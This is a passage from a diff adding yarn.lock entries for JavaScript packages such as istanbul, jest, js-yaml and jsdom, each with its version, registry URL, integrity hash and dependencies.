+  integrity sha512-pzqtp31nLv/XFOzXGuvhCb8qhjmTVo5vjVk19XE4CRlSWz0KoeJ3bw9XsA7nOp9YBf4qHjwBxkDzKcME/J29Yg==
+  dependencies:
+    "@babel/core" "^7.12.3"
+    "@babel/parser" "^7.14.7"
+    "@istanbuljs/schema" "^0.1.2"
+    istanbul-lib-coverage "^3.2.0"
+    semver "^6.3.0"
+
+istanbul-lib-report@^3.0.0:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz#908305bac9a5bd175ac6a74489eafd0fc2445a7d"
+  integrity sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==
+  dependencies:
+    istanbul-lib-coverage "^3.0.0"
+    make-dir "^4.0.0"
+    supports-color "^7.1.0"
+
+istanbul-lib-source-maps@^4.0.0:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz#895f3a709fcfba34c6de5a42939022f3e4358551"
+  integrity sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==
+  dependencies:
+    debug "^4.1.1"
+    istanbul-lib-coverage "^3.0.0"
+    source-map "^0.6.1"
+
+istanbul-reports@^3.1.3:
+  version "3.1.7"
+  resolved "https://registry.yarnpkg.com/istanbul-reports/-/istanbul-reports-3.1.7.tgz#daed12b9e1dca518e15c056e1e537e741280fa0b"
+  integrity sha512-BewmUXImeuRk2YY0PVbxgKAysvhRPUQE0h5QRM++nVWyubKGV0l8qQ5op8+B2DOmwSe63Jivj0BjkPQVf8fP5g==
+  dependencies:
+    html-escaper "^2.0.0"
+    istanbul-lib-report "^3.0.0"
+
+iterator.prototype@^1.1.4:
+  version "1.1.5"
+  resolved "https://registry.yarnpkg.com/iterator.prototype/-/iterator.prototype-1.1.5.tgz#12c959a29de32de0aa3bbbb801f4d777066dae39"
+  integrity sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==
+  dependencies:
+    define-data-property "^1.1.4"
+    es-object-atoms "^1.0.0"
+    get-intrinsic "^1.2.6"
+    get-proto "^1.0.0"
+    has-symbols "^1.1.0"
+    set-function-name "^2.0.2"
+
+jackspeak@^3.1.2:
+  version "3.4.3"
+  resolved "https://registry.yarnpkg.com/jackspeak/-/jackspeak-3.4.3.tgz#8833a9d89ab4acde6188942bd1c53b6390ed5a8a"
+  integrity sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==
+  dependencies:
+    "@isaacs/cliui" "^8.0.2"
+  optionalDependencies:
+    "@pkgjs/parseargs" "^0.11.0"
+
+jake@^10.8.5:
+  version "10.9.2"
+  resolved "https://registry.yarnpkg.com/jake/-/jake-10.9.2.tgz#6ae487e6a69afec3a5e167628996b59f35ae2b7f"
+  integrity sha512-2P4SQ0HrLQ+fw6llpLnOaGAvN2Zu6778SJMrCUwns4fOoG9ayrTiZk3VV8sCPkVZF8ab0zksVpS8FDY5pRCNBA==
+  dependencies:
+    async "^3.2.3"
+    chalk "^4.0.2"
+    filelist "^1.0.4"
+    minimatch "^3.1.2"
+
+jest-changed-files@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-changed-files/-/jest-changed-files-27.5.1.tgz#a348aed00ec9bf671cc58a66fcbe7c3dfd6a68f5"
+  integrity sha512-buBLMiByfWGCoMsLLzGUUSpAmIAGnbR2KJoMN10ziLhOLvP4e0SlypHnAel8iqQXTrcbmfEY9sSqae5sgUsTvw==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    execa "^5.0.0"
+    throat "^6.0.1"
+
+jest-circus@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-circus/-/jest-circus-27.5.1.tgz#37a5a4459b7bf4406e53d637b49d22c65d125ecc"
+  integrity sha512-D95R7x5UtlMA5iBYsOHFFbMD/GVA4R/Kdq15f7xYWUfWHBto9NYRsOvnSauTgdF+ogCpJ4tyKOXhUifxS65gdw==
+  dependencies:
+    "@jest/environment" "^27.5.1"
+    "@jest/test-result" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    chalk "^4.0.0"
+    co "^4.6.0"
+    dedent "^0.7.0"
+    expect "^27.5.1"
+    is-generator-fn "^2.0.0"
+    jest-each "^27.5.1"
+    jest-matcher-utils "^27.5.1"
+    jest-message-util "^27.5.1"
+    jest-runtime "^27.5.1"
+    jest-snapshot "^27.5.1"
+    jest-util "^27.5.1"
+    pretty-format "^27.5.1"
+    slash "^3.0.0"
+    stack-utils "^2.0.3"
+    throat "^6.0.1"
+
+jest-cli@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-cli/-/jest-cli-27.5.1.tgz#278794a6e6458ea8029547e6c6cbf673bd30b145"
+  integrity sha512-Hc6HOOwYq4/74/c62dEE3r5elx8wjYqxY0r0G/nFrLDPMFRu6RA/u8qINOIkvhxG7mMQ5EJsOGfRpI8L6eFUVw==
+  dependencies:
+    "@jest/core" "^27.5.1"
+    "@jest/test-result" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    chalk "^4.0.0"
+    exit "^0.1.2"
+    graceful-fs "^4.2.9"
+    import-local "^3.0.2"
+    jest-config "^27.5.1"
+    jest-util "^27.5.1"
+    jest-validate "^27.5.1"
+    prompts "^2.0.1"
+    yargs "^16.2.0"
+
+jest-config@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-config/-/jest-config-27.5.1.tgz#5c387de33dca3f99ad6357ddeccd91bf3a0e4a41"
+  integrity sha512-5sAsjm6tGdsVbW9ahcChPAFCk4IlkQUknH5AvKjuLTSlcO/wCZKyFdn7Rg0EkC+OGgWODEy2hDpWB1PgzH0JNA==
+  dependencies:
+    "@babel/core" "^7.8.0"
+    "@jest/test-sequencer" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    babel-jest "^27.5.1"
+    chalk "^4.0.0"
+    ci-info "^3.2.0"
+    deepmerge "^4.2.2"
+    glob "^7.1.1"
+    graceful-fs "^4.2.9"
+    jest-circus "^27.5.1"
+    jest-environment-jsdom "^27.5.1"
+    jest-environment-node "^27.5.1"
+    jest-get-type "^27.5.1"
+    jest-jasmine2 "^27.5.1"
+    jest-regex-util "^27.5.1"
+    jest-resolve "^27.5.1"
+    jest-runner "^27.5.1"
+    jest-util "^27.5.1"
+    jest-validate "^27.5.1"
+    micromatch "^4.0.4"
+    parse-json "^5.2.0"
+    pretty-format "^27.5.1"
+    slash "^3.0.0"
+    strip-json-comments "^3.1.1"
+
+jest-diff@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-diff/-/jest-diff-27.5.1.tgz#a07f5011ac9e6643cf8a95a462b7b1ecf6680def"
+  integrity sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==
+  dependencies:
+    chalk "^4.0.0"
+    diff-sequences "^27.5.1"
+    jest-get-type "^27.5.1"
+    pretty-format "^27.5.1"
+
+jest-docblock@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-docblock/-/jest-docblock-27.5.1.tgz#14092f364a42c6108d42c33c8cf30e058e25f6c0"
+  integrity sha512-rl7hlABeTsRYxKiUfpHrQrG4e2obOiTQWfMEH3PxPjOtdsfLQO4ReWSZaQ7DETm4xu07rl4q/h4zcKXyU0/OzQ==
+  dependencies:
+    detect-newline "^3.0.0"
+
+jest-each@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-each/-/jest-each-27.5.1.tgz#5bc87016f45ed9507fed6e4702a5b468a5b2c44e"
+  integrity sha512-1Ff6p+FbhT/bXQnEouYy00bkNSY7OUpfIcmdl8vZ31A1UUaurOLPA8a8BbJOF2RDUElwJhmeaV7LnagI+5UwNQ==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    chalk "^4.0.0"
+    jest-get-type "^27.5.1"
+    jest-util "^27.5.1"
+    pretty-format "^27.5.1"
+
+jest-environment-jsdom@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-environment-jsdom/-/jest-environment-jsdom-27.5.1.tgz#ea9ccd1fc610209655a77898f86b2b559516a546"
+  integrity sha512-TFBvkTC1Hnnnrka/fUb56atfDtJ9VMZ94JkjTbggl1PEpwrYtUBKMezB3inLmWqQsXYLcMwNoDQwoBTAvFfsfw==
+  dependencies:
+    "@jest/environment" "^27.5.1"
+    "@jest/fake-timers" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    jest-mock "^27.5.1"
+    jest-util "^27.5.1"
+    jsdom "^16.6.0"
+
+jest-environment-node@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-environment-node/-/jest-environment-node-27.5.1.tgz#dedc2cfe52fab6b8f5714b4808aefa85357a365e"
+  integrity sha512-Jt4ZUnxdOsTGwSRAfKEnE6BcwsSPNOijjwifq5sDFSA2kesnXTvNqKHYgM0hDq3549Uf/KzdXNYn4wMZJPlFLw==
+  dependencies:
+    "@jest/environment" "^27.5.1"
+    "@jest/fake-timers" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    jest-mock "^27.5.1"
+    jest-util "^27.5.1"
+
+jest-get-type@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-get-type/-/jest-get-type-27.5.1.tgz#3cd613c507b0f7ace013df407a1c1cd578bcb4f1"
+  integrity sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==
+
+jest-haste-map@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-haste-map/-/jest-haste-map-27.5.1.tgz#9fd8bd7e7b4fa502d9c6164c5640512b4e811e7f"
+  integrity sha512-7GgkZ4Fw4NFbMSDSpZwXeBiIbx+t/46nJ2QitkOjvwPYyZmqttu2TDSimMHP1EkPOi4xUZAN1doE5Vd25H4Jng==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    "@types/graceful-fs" "^4.1.2"
+    "@types/node" "*"
+    anymatch "^3.0.3"
+    fb-watchman "^2.0.0"
+    graceful-fs "^4.2.9"
+    jest-regex-util "^27.5.1"
+    jest-serializer "^27.5.1"
+    jest-util "^27.5.1"
+    jest-worker "^27.5.1"
+    micromatch "^4.0.4"
+    walker "^1.0.7"
+  optionalDependencies:
+    fsevents "^2.3.2"
+
+jest-jasmine2@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-jasmine2/-/jest-jasmine2-27.5.1.tgz#a037b0034ef49a9f3d71c4375a796f3b230d1ac4"
+  integrity sha512-jtq7VVyG8SqAorDpApwiJJImd0V2wv1xzdheGHRGyuT7gZm6gG47QEskOlzsN1PG/6WNaCo5pmwMHDf3AkG2pQ==
+  dependencies:
+    "@jest/environment" "^27.5.1"
+    "@jest/source-map" "^27.5.1"
+    "@jest/test-result" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    chalk "^4.0.0"
+    co "^4.6.0"
+    expect "^27.5.1"
+    is-generator-fn "^2.0.0"
+    jest-each "^27.5.1"
+    jest-matcher-utils "^27.5.1"
+    jest-message-util "^27.5.1"
+    jest-runtime "^27.5.1"
+    jest-snapshot "^27.5.1"
+    jest-util "^27.5.1"
+    pretty-format "^27.5.1"
+    throat "^6.0.1"
+
+jest-leak-detector@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-leak-detector/-/jest-leak-detector-27.5.1.tgz#6ec9d54c3579dd6e3e66d70e3498adf80fde3fb8"
+  integrity sha512-POXfWAMvfU6WMUXftV4HolnJfnPOGEu10fscNCA76KBpRRhcMN2c8d3iT2pxQS3HLbA+5X4sOUPzYO2NUyIlHQ==
+  dependencies:
+    jest-get-type "^27.5.1"
+    pretty-format "^27.5.1"
+
+jest-matcher-utils@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz#9c0cdbda8245bc22d2331729d1091308b40cf8ab"
+  integrity sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==
+  dependencies:
+    chalk "^4.0.0"
+    jest-diff "^27.5.1"
+    jest-get-type "^27.5.1"
+    pretty-format "^27.5.1"
+
+jest-message-util@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-message-util/-/jest-message-util-27.5.1.tgz#bdda72806da10d9ed6425e12afff38cd1458b6cf"
+  integrity sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==
+  dependencies:
+    "@babel/code-frame" "^7.12.13"
+    "@jest/types" "^27.5.1"
+    "@types/stack-utils" "^2.0.0"
+    chalk "^4.0.0"
+    graceful-fs "^4.2.9"
+    micromatch "^4.0.4"
+    pretty-format "^27.5.1"
+    slash "^3.0.0"
+    stack-utils "^2.0.3"
+
+jest-message-util@^28.1.3:
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/jest-message-util/-/jest-message-util-28.1.3.tgz#232def7f2e333f1eecc90649b5b94b0055e7c43d"
+  integrity sha512-PFdn9Iewbt575zKPf1286Ht9EPoJmYT7P0kY+RibeYZ2XtOr53pDLEFoTWXbd1h4JiGiWpTBC84fc8xMXQMb7g==
+  dependencies:
+    "@babel/code-frame" "^7.12.13"
+    "@jest/types" "^28.1.3"
+    "@types/stack-utils" "^2.0.0"
+    chalk "^4.0.0"
+    graceful-fs "^4.2.9"
+    micromatch "^4.0.4"
+    pretty-format "^28.1.3"
+    slash "^3.0.0"
+    stack-utils "^2.0.3"
+
+jest-mock@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-mock/-/jest-mock-27.5.1.tgz#19948336d49ef4d9c52021d34ac7b5f36ff967d6"
+  integrity sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+
+jest-pnp-resolver@^1.2.2:
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz#930b1546164d4ad5937d5540e711d4d38d4cad2e"
+  integrity sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==
+
+jest-regex-util@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-regex-util/-/jest-regex-util-27.5.1.tgz#4da143f7e9fd1e542d4aa69617b38e4a78365b95"
+  integrity sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==
+
+jest-regex-util@^28.0.0:
+  version "28.0.2"
+  resolved "https://registry.yarnpkg.com/jest-regex-util/-/jest-regex-util-28.0.2.tgz#afdc377a3b25fb6e80825adcf76c854e5bf47ead"
+  integrity sha512-4s0IgyNIy0y9FK+cjoVYoxamT7Zeo7MhzqRGx7YDYmaQn1wucY9rotiGkBzzcMXTtjrCAP/f7f+E0F7+fxPNdw==
+
+jest-resolve-dependencies@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-resolve-dependencies/-/jest-resolve-dependencies-27.5.1.tgz#d811ecc8305e731cc86dd79741ee98fed06f1da8"
+  integrity sha512-QQOOdY4PE39iawDn5rzbIePNigfe5B9Z91GDD1ae/xNDlu9kaat8QQ5EKnNmVWPV54hUdxCVwwj6YMgR2O7IOg==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    jest-regex-util "^27.5.1"
+    jest-snapshot "^27.5.1"
+
+jest-resolve@^27.4.2, jest-resolve@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-resolve/-/jest-resolve-27.5.1.tgz#a2f1c5a0796ec18fe9eb1536ac3814c23617b384"
+  integrity sha512-FFDy8/9E6CV83IMbDpcjOhumAQPDyETnU2KZ1O98DwTnz8AOBsW/Xv3GySr1mOZdItLR+zDZ7I/UdTFbgSOVCw==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    chalk "^4.0.0"
+    graceful-fs "^4.2.9"
+    jest-haste-map "^27.5.1"
+    jest-pnp-resolver "^1.2.2"
+    jest-util "^27.5.1"
+    jest-validate "^27.5.1"
+    resolve "^1.20.0"
+    resolve.exports "^1.1.0"
+    slash "^3.0.0"
+
+jest-runner@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-runner/-/jest-runner-27.5.1.tgz#071b27c1fa30d90540805c5645a0ec167c7b62e5"
+  integrity sha512-g4NPsM4mFCOwFKXO4p/H/kWGdJp9V8kURY2lX8Me2drgXqG7rrZAx5kv+5H7wtt/cdFIjhqYx1HrlqWHaOvDaQ==
+  dependencies:
+    "@jest/console" "^27.5.1"
+    "@jest/environment" "^27.5.1"
+    "@jest/test-result" "^27.5.1"
+    "@jest/transform" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    chalk "^4.0.0"
+    emittery "^0.8.1"
+    graceful-fs "^4.2.9"
+    jest-docblock "^27.5.1"
+    jest-environment-jsdom "^27.5.1"
+    jest-environment-node "^27.5.1"
+    jest-haste-map "^27.5.1"
+    jest-leak-detector "^27.5.1"
+    jest-message-util "^27.5.1"
+    jest-resolve "^27.5.1"
+    jest-runtime "^27.5.1"
+    jest-util "^27.5.1"
+    jest-worker "^27.5.1"
+    source-map-support "^0.5.6"
+    throat "^6.0.1"
+
+jest-runtime@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-runtime/-/jest-runtime-27.5.1.tgz#4896003d7a334f7e8e4a53ba93fb9bcd3db0a1af"
+  integrity sha512-o7gxw3Gf+H2IGt8fv0RiyE1+r83FJBRruoA+FXrlHw6xEyBsU8ugA6IPfTdVyA0w8HClpbK+DGJxH59UrNMx8A==
+  dependencies:
+    "@jest/environment" "^27.5.1"
+    "@jest/fake-timers" "^27.5.1"
+    "@jest/globals" "^27.5.1"
+    "@jest/source-map" "^27.5.1"
+    "@jest/test-result" "^27.5.1"
+    "@jest/transform" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    chalk "^4.0.0"
+    cjs-module-lexer "^1.0.0"
+    collect-v8-coverage "^1.0.0"
+    execa "^5.0.0"
+    glob "^7.1.3"
+    graceful-fs "^4.2.9"
+    jest-haste-map "^27.5.1"
+    jest-message-util "^27.5.1"
+    jest-mock "^27.5.1"
+    jest-regex-util "^27.5.1"
+    jest-resolve "^27.5.1"
+    jest-snapshot "^27.5.1"
+    jest-util "^27.5.1"
+    slash "^3.0.0"
+    strip-bom "^4.0.0"
+
+jest-serializer@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-serializer/-/jest-serializer-27.5.1.tgz#81438410a30ea66fd57ff730835123dea1fb1f64"
+  integrity sha512-jZCyo6iIxO1aqUxpuBlwTDMkzOAJS4a3eYz3YzgxxVQFwLeSA7Jfq5cbqCY+JLvTDrWirgusI/0KwxKMgrdf7w==
+  dependencies:
+    "@types/node" "*"
+    graceful-fs "^4.2.9"
+
+jest-snapshot@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-snapshot/-/jest-snapshot-27.5.1.tgz#b668d50d23d38054a51b42c4039cab59ae6eb6a1"
+  integrity sha512-yYykXI5a0I31xX67mgeLw1DZ0bJB+gpq5IpSuCAoyDi0+BhgU/RIrL+RTzDmkNTchvDFWKP8lp+w/42Z3us5sA==
+  dependencies:
+    "@babel/core" "^7.7.2"
+    "@babel/generator" "^7.7.2"
+    "@babel/plugin-syntax-typescript" "^7.7.2"
+    "@babel/traverse" "^7.7.2"
+    "@babel/types" "^7.0.0"
+    "@jest/transform" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/babel__traverse" "^7.0.4"
+    "@types/prettier" "^2.1.5"
+    babel-preset-current-node-syntax "^1.0.0"
+    chalk "^4.0.0"
+    expect "^27.5.1"
+    graceful-fs "^4.2.9"
+    jest-diff "^27.5.1"
+    jest-get-type "^27.5.1"
+    jest-haste-map "^27.5.1"
+    jest-matcher-utils "^27.5.1"
+    jest-message-util "^27.5.1"
+    jest-util "^27.5.1"
+    natural-compare "^1.4.0"
+    pretty-format "^27.5.1"
+    semver "^7.3.2"
+
+jest-util@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-util/-/jest-util-27.5.1.tgz#3ba9771e8e31a0b85da48fe0b0891fb86c01c2f9"
+  integrity sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    chalk "^4.0.0"
+    ci-info "^3.2.0"
+    graceful-fs "^4.2.9"
+    picomatch "^2.2.3"
+
+jest-util@^28.1.3:
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/jest-util/-/jest-util-28.1.3.tgz#f4f932aa0074f0679943220ff9cbba7e497028b0"
+  integrity sha512-XdqfpHwpcSRko/C35uLYFM2emRAltIIKZiJ9eAmhjsj0CqZMa0p1ib0R5fWIqGhn1a103DebTbpqIaP1qCQ6tQ==
+  dependencies:
+    "@jest/types" "^28.1.3"
+    "@types/node" "*"
+    chalk "^4.0.0"
+    ci-info "^3.2.0"
+    graceful-fs "^4.2.9"
+    picomatch "^2.2.3"
+
+jest-validate@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-validate/-/jest-validate-27.5.1.tgz#9197d54dc0bdb52260b8db40b46ae668e04df067"
+  integrity sha512-thkNli0LYTmOI1tDB3FI1S1RTp/Bqyd9pTarJwL87OIBFuqEb5Apv5EaApEudYg4g86e3CT6kM0RowkhtEnCBQ==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    camelcase "^6.2.0"
+    chalk "^4.0.0"
+    jest-get-type "^27.5.1"
+    leven "^3.1.0"
+    pretty-format "^27.5.1"
+
+jest-watch-typeahead@^1.0.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/jest-watch-typeahead/-/jest-watch-typeahead-1.1.0.tgz#b4a6826dfb9c9420da2f7bc900de59dad11266a9"
+  integrity sha512-Va5nLSJTN7YFtC2jd+7wsoe1pNe5K4ShLux/E5iHEwlB9AxaxmggY7to9KUqKojhaJw3aXqt5WAb4jGPOolpEw==
+  dependencies:
+    ansi-escapes "^4.3.1"
+    chalk "^4.0.0"
+    jest-regex-util "^28.0.0"
+    jest-watcher "^28.0.0"
+    slash "^4.0.0"
+    string-length "^5.0.1"
+    strip-ansi "^7.0.1"
+
+jest-watcher@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-watcher/-/jest-watcher-27.5.1.tgz#71bd85fb9bde3a2c2ec4dc353437971c43c642a2"
+  integrity sha512-z676SuD6Z8o8qbmEGhoEUFOM1+jfEiL3DXHK/xgEiG2EyNYfFG60jluWcupY6dATjfEsKQuibReS1djInQnoVw==
+  dependencies:
+    "@jest/test-result" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    ansi-escapes "^4.2.1"
+    chalk "^4.0.0"
+    jest-util "^27.5.1"
+    string-length "^4.0.1"
+
+jest-watcher@^28.0.0:
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/jest-watcher/-/jest-watcher-28.1.3.tgz#c6023a59ba2255e3b4c57179fc94164b3e73abd4"
+  integrity sha512-t4qcqj9hze+jviFPUN3YAtAEeFnr/azITXQEMARf5cMwKY2SMBRnCQTXLixTl20OR6mLh9KLMrgVJgJISym+1g==
+  dependencies:
+    "@jest/test-result" "^28.1.3"
+    "@jest/types" "^28.1.3"
+    "@types/node" "*"
+    ansi-escapes "^4.2.1"
+    chalk "^4.0.0"
+    emittery "^0.10.2"
+    jest-util "^28.1.3"
+    string-length "^4.0.1"
+
+jest-worker@^26.2.1:
+  version "26.6.2"
+  resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-26.6.2.tgz#7f72cbc4d643c365e27b9fd775f9d0eaa9c7a8ed"
+  integrity sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==
+  dependencies:
+    "@types/node" "*"
+    merge-stream "^2.0.0"
+    supports-color "^7.0.0"
+
+jest-worker@^27.0.2, jest-worker@^27.4.5, jest-worker@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-27.5.1.tgz#8d146f0900e8973b106b6f73cc1e9a8cb86f8db0"
+  integrity sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==
+  dependencies:
+    "@types/node" "*"
+    merge-stream "^2.0.0"
+    supports-color "^8.0.0"
+
+jest-worker@^28.0.2:
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-28.1.3.tgz#7e3c4ce3fa23d1bb6accb169e7f396f98ed4bb98"
+  integrity sha512-CqRA220YV/6jCo8VWvAt1KKx6eek1VIHMPeLEbpcfSfkEeWyBNppynM/o6q+Wmw+sOhos2ml34wZbSX3G13//g==
+  dependencies:
+    "@types/node" "*"
+    merge-stream "^2.0.0"
+    supports-color "^8.0.0"
+
+jest@^27.4.3:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest/-/jest-27.5.1.tgz#dadf33ba70a779be7a6fc33015843b51494f63fc"
+  integrity sha512-Yn0mADZB89zTtjkPJEXwrac3LHudkQMR+Paqa8uxJHCBr9agxztUifWCyiYrjhMPBoUVBjyny0I7XH6ozDr7QQ==
+  dependencies:
+    "@jest/core" "^27.5.1"
+    import-local "^3.0.2"
+    jest-cli "^27.5.1"
+
+jiti@^1.21.6:
+  version "1.21.7"
+  resolved "https://registry.yarnpkg.com/jiti/-/jiti-1.21.7.tgz#9dd81043424a3d28458b193d965f0d18a2300ba9"
+  integrity sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==
+
+"js-tokens@^3.0.0 || ^4.0.0", js-tokens@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
+  integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
+
+js-yaml@^3.13.1:
+  version "3.14.1"
+  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.14.1.tgz#dae812fdb3825fa306609a8717383c50c36a0537"
+  integrity sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==
+  dependencies:
+    argparse "^1.0.7"
+    esprima "^4.0.0"
+
+js-yaml@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-4.1.0.tgz#c1fb65f8f5017901cdd2c951864ba18458a10602"
+  integrity sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==
+  dependencies:
+    argparse "^2.0.1"
+
+jsdom@^16.6.0:
+  version "16.7.0"
+  resolved "https://registry.yarnpkg.com/jsdom/-/jsdom-16.7.0.tgz#918ae71965424b197c819f8183a754e18977b710"
+  integrity sha512-u9Smc2G1USStM+s/x1ru5Sxrl6mPYCbByG1U/hUmqaVsm4tbNyS7CicOSRyuGQYZhTu0h84qkZZQ/I+dzizSVw==
+  dependencies:
+    abab "^2.0.5"
+    acorn "^8.2.4"
+    acorn-globals "^6.0.0"
+    cssom "^0.4.4"
+    cssstyle "^2.3.0"
+    data-urls "^2.0.0"
+    decimal.js "^10.2.1"
+    domexception "^2.0.1"
+    escodegen "^2.0.0"
+    form-data "^3.0.0"
+    html-encoding-sniffer "^2.0.1"
+    http-proxy-agent "^4.0.1"
+    https-proxy-agent "^5.0.0"
+    is-potential-custom-element-name "^1.0.1"
+    nwsapi "^2.2.0"
+    parse5 "6.0.1"
+    saxes "^5.0.1"
+    symbol-tree "^3.2.4"
+    tough-cookie "^4.0.0"
+    w3c-hr-time "^1.0.2"
+    w3c-xmlserializer "^2.0.0"
